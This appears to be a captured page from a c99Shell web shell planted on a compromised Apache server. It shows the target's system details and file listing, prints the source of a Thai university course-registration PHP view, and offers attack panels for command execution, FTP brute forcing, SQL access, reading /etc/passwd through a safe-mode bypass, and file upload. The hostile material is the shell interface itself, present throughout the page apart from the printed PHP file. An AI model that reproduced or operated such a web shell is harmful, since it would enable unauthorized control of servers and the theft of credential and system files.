!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_addRegisCurriculum.php (4.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script language="JavaScript" type="text/JavaScript">
function checkFormat(){
    var chk = confirm("กรุณาตรวจสอบข้อมูลให้เรียบร้อยก่อนเพิ่มรายการ !! ");
    if(chk)
        return true;
    else
        return false;
}
</script>
<?php
$row_cur 
= (isset($qu_cur) && $qu_cur!=NULL) ? $qu_cur->row() : NULL;
$row_sy = (isset($qu_sy) && $qu_sy!=NULL) ? $qu_sy->row() : NULL;
$row_tm = (isset($qu_tm) && $qu_tm!=NULL) ? $qu_tm->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center">
            <?php echo form_open($this->config->item("rg_folder")."regis/processRegisCur");?>
            <table class="szone">
                <tr>
                    <td colspan="3" align="center"><span class="h error">บันทึกการลงทะเบียนเรียนรายกลุ่ม/ชั้นปี</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">หลักสูตร</b></font></td>
                    <td width="78%"><font size="2"><?php echo $row_cur->curName;?></font>
                    <input type="hidden" name="curId" id="curId" value="<?php echo setValue('curId',$row_cur);?>" /></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">ปีการศึกษาที่รับเข้า</b></font></td>
                    <td><font size="2"><?php echo $adY;?></font>
                    <input type="hidden" name="adY" id="adY" value="<?php echo $adY;?>" /></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">ชั้นปีที่</b></font></td>
                    <td><font size="2"><?php echo setValue("syCode",$row_sy);?></font>
                    <input type="hidden" name="syId" id="syId" value="<?php echo setValue("syId",$row_sy);?>" /></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">ปีการศึกษา</b></font></td>
                    <td><font size="2"><?php echo $acY;?></font>
                    <input type="hidden" name="acY" id="acY" value="<?php echo $acY;?>" /></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">ภาคการศึกษา</b></font></td>
                    <td><font size="2"><?php echo setValue("tmCode",$row_tm);?></font>
                    <input type="hidden" name="tmId" id="tmId" value="<?php echo setValue("tmId",$row_tm);?>" /></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td colspan="3"><table class="headCol">
                        <tr>
                            <th width="116" height="22"><font size="2" color="<?php echo $font_color_table;?>"><b>รหัสรายวิชา</b></font></td>
                            <th width="317"><font size="2" color="<?php echo $font_color_table;?>"><b>ชื่อรายวิชา</b></font></td>
                            <th width="85"><font size="2" color="<?php echo $font_color_table;?>"><b>หน่วยกิต</b></font></td>
                        </tr>
<?php
                $sumCreditTotal 
0;
                
$sumPeriod1 0;
                
$sumPeriod2 0;
                
$sumPeriod3 0;
                
$i 0;
                if (
$rs_rsp && $rs_rsp->num_rows()) {
                    foreach (
$rs_rsp->result() as $row_rsp) {
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
                        

?>
                            <td align="center"><font size="2"><?php echo $row_rsp->crsCode;?></font></td>
                            <td class="indent"><font size="2"><?php echo $row_rsp->crsName;?></font></td>
                            <td align="center"><font size="2"><?php echo $row_rsp->crsUnit;?></font></td>
                        </tr>
<?php
                        $sumCreditTotal 
+= $row_rsp->crsCreditTotal;
                        
$sumPeriod1 += $row_rsp->crsPeriod1;
                        
$sumPeriod2 += $row_rsp->crsPeriod2;
                        
$sumPeriod3 += $row_rsp->crsPeriod3;
                        
$i++;
                    }
                }
?>
                        <tr>
                            <td align="center" colspan="2" bgcolor="<?php echo $table_color_even;?>"><font color="<?php echo $font_color_table;?>"><b>รวมหน่วยกิต</b></font></td>
                            <td align="center"><font size="2"><?php echo $sumCreditTotal.'('.$sumPeriod1.'-'.$sumPeriod2.'-'.$sumPeriod3.')';?></font></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td colspan="3" align="right">รวม <?php echo $i;?> รายการ</td>
                </tr>
                <tr>
                    <td colspan="3" align="center"><br>
                    <input type="submit" name="add" value="บันทึก" <?php echo ($i) ? '' 'disabled';?> />
                    <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = '<?php echo site_url($this->config->item("rg_folder")).'/regis/showRegisCur';?>'" />
                    <input type="hidden" name="method" value="add"></td>
                </tr>
            </table><?php echo form_error();?></div>
        <span class="error"><b>หมายเหตุ</b> : แสดงเฉพาะรายวิชาที่มีการจัดกลุ่มแล้วเท่านั้น</td></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.012 ]--